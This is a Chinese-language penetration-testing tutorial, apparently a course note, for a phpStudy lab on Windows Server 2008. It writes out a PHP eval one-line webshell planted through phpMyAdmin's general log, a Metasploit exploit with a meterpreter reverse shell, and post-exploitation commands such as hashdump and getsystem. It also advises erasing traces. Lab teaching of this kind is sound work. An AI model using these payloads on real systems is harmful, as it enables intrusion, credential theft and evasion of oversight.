每日一句:
如何一别朱仙镇,不见将军奏凯歌。
——于谦《岳忠武王祠》
本文内容:
~快速搭建有限制的测试环境
~实战漏洞利用
~MSF会话常用命令
~其他问题补充
一、快速搭建有限制的测试环境
问:搭建测试环境的作用是什么?
答:在本地测试漏洞,然后授权的情况下进行相关漏洞挖掘
0,安装虚拟机,win server2008
1,安装phpstudy
~百度,PHP study,进官网直接下载就行
~安装PHP study可能需要一些环境变量
配置问题:http://phpstudy.php.cn/wenda/388.html
运行库: http://www.php.cn/xiazai/gongju/1351
问:PHPstudy的作用是什么?
答:phpstudy是一个快速搭建网站的环境的程序集成包,帮助我们搭建php站点非常方便。
问:搭建PHP版本的靶场的一般过程是什么?
答:
1.下载源码,2复制源码文件到www目录下,
3.修改源码配置文件来连接数据库文件,4.设置域名访问,也可以不用去设置
2,在虚拟机中新建用户(以win为例)
方法一:
~创建一个低权限用户
net user www www /add
===cmd命令创建www用户,密码也是www
===假如创建出错,大概路是权限不够,以管理员身份运行cmd
~查看有没有创建成功
net user
方法二:
~按键盘win键,输入“计算机管理”
~点击左侧栏目中,本地用户和组,
~点击用户,
~右侧空旷栏目中,右击直接创建用户
3,分配给用户低权限
~PHP study选择系统服务
~找到PHP study的安装地址
~进入“ phpstudy/PhPTutorial/Apache ”目录
~右击logs文件夹,选择属性
~选择安全选项,选择编辑按钮
~选择添加
~输入,www,点击检查名称,点击确定
~这时,可以在组或同户名里看到www用户
~点击www用户,下边权限中,完全控制处点击允许,点击应用
这是配置好了apache,接着配置mysql
~进入“ phpstudy/PhPTutorial/Mysql ”目录
~右击data文件夹
~剩下的步骤参考上边
===在添加成功时,可能会提示一些错误
===不用管,直接一直点击继续
4,服务设置登陆用户
~PHP study设置中,选择系统服务
~停止phpstudy
~打开任务管理器
~点击服务,找到apache
问:有的同学找不到此服务?
答:那就安装一个,
步骤:
~点击phpstudy其他选项菜单
~服务管理器
~Apache
~安装服务
~点击属性,点击登录
~点击此账户,点击浏览,
~输入www,检查名称
~点击确定,密码处,输入www
~点击应用,确定
同样的步骤将mysql服务也配置一下
~将服务中的apache与mysql重启一下,即可
5,Phpmyadmin获取Webshell
~将www文件夹下的phpmyadmin文件夹移出去
~下载 特殊的phpmyadmin(可以找我要)
~将php study中的php版本调为5.0以上,不然跑不动phpmyadmin
进入phpmyadmin:
~192.168.221.1 ===虚拟机win server 2008的IP
~访问192.168.221.1/phpMyadmin/index.php
~登录,账号:root,密码:root123;
实战中,这个密码是可以通过上一节的内容爆破出
开启general log变量
~进入192.168.221.1/phpMyadmin/index.php
~点击中间上方的 “变量”设置,找到general log
~点击编辑,将OFF改为ON
~将下方的general log file也可以改一下路径
如改为:xxxxx\www\shell0.php
进入sql语句执行模块
~点击SQL
~输入: select "<?php @eval($_REQUEST[a]);?>";
~执行,此时,此日志已经记录下我们的操作即,我们写到服务器上一个一句马
~访问该一句马,192.168.221.1/shell0.php
小问题,访问此页面,找不到,一句马
直接去打开shell0.php,看看里边有没有,不出意外是有的
~给个传参/a=phpinfo();看看是否出现想要的信息,记得往下拉一下
~在利用一些webshell管理工具去 连接一下
稍微处理一下 痕迹
~将变量“general log”改回来
二、实战漏洞利用
说明:
在上边我们已经通过手工的方法拿到网站的webshell了,
接下来介绍的是通过msf拿到网站的webshell。
0,打开数据库
service postgresql start
1,打开msf
msfconsole 或者 msf TAb键补全
扫描靶机 msf > auxiliary/scanner/http/phpmyadmin_login
选择exploit use exploit/multi/http/phpmyadmin_lfi_rce
选择payload set payload php/meterpreter/reverse_tcp //这是一个反弹shell,下边解释
攻击 run/exploit
注意:期间查看一下options,进行set设置一些配置
2,反弹shell
连接我们攻击成功靶机的会话,一般分为正向链接和反向连接
~正向连接:
对方服务器开放端口,让我们去访问
例如:telnet 127.0.0.1:80
~反向连接:
我们开放端口,让靶机来访问我们
也就是让对方来找我们的端口,
例如:反弹shell
问:为什么要反弹shell?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
它的ip会动态改变,你不能持续控制。
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,
什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
总结反弹连接:
攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
三、MSF会话常用命令
问:当我们攻击成功了,即拿到对方服务器了一般会用到什么指令呢?
答:
文件系统命令
edit -- 编辑文件
getlwd -- 显示本地工作目录
Dir –列出目标文件目录
mkdir -- 创建目录
用户界面命令
getdesktop -- 获取当前的 Meterpreter 桌面
screenshot -- 获取目标桌面屏幕截图
网络、系统命令
ipconfig -- 显示网络接口信息
netstat -- 显示网络连接信息
execute -- 执行命令
ps -- 列出正在运行的进程
sysinfo -- 获取远程系统的有关信息,例如 OS
提权、密码命令
getsystem -- 尝试将您的权限提升为本地系统的权限
hashdump -- 获取目标 NTLM-HASH 值
//这些都是可以算是后渗透截断的命令了
注意:
因为选择不同的payload,所以建立后的会话不同。
后渗透的命令有的在这个会话可以使用,在另一个可能不可以直接使用
扩展一下思路:
有的payload能执行的权限可能比较低,但是看看有没有一些创建文件的权限,
上传文件的权限等等,然后上传大马\或者对应提权exp,直接拿到最高权限
四:其他问题补充
问:PHPstudy只能搭建PHP站点么?
不仅仅,还能搭建jsp的,不过我们要下载jsp版本的。官网:www.phpstudy.net
问:在使用phpstudy的过程中一般会用到那些问题?
很多,例如端口占用等等的情况。补充一下官方的回答帖子,同学们可以看下。
http://phpstudy.php.cn/wenda/388.html
问:meterpreter是什么?
meterpreter是我们后渗透测试控制台,帮助我们在拿到一定权限下进行下一步测试
问:使用docker搭建测试环境比较好吧?
是的,但是,我们使用windows比较方便,快速
不懂docker的同学,看这里。
https://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html
问:虚拟机的 MSF 测试MS17的时候 直接扫外网好使么 还是得用外网服务器 他俩有区别没?
区别不大,就是我们需要设置的主机地址不一样而已
问:使用MSF进行漏洞测试的流程是怎么样的?
1,漏洞扫描,2,选择exp,3,选择正确的payload,4,攻击
问:为什么phpmyadmin漏洞没有测试出来?
这个是脚本的问题,我们要看下我们的防火墙是否开启,以及重启试试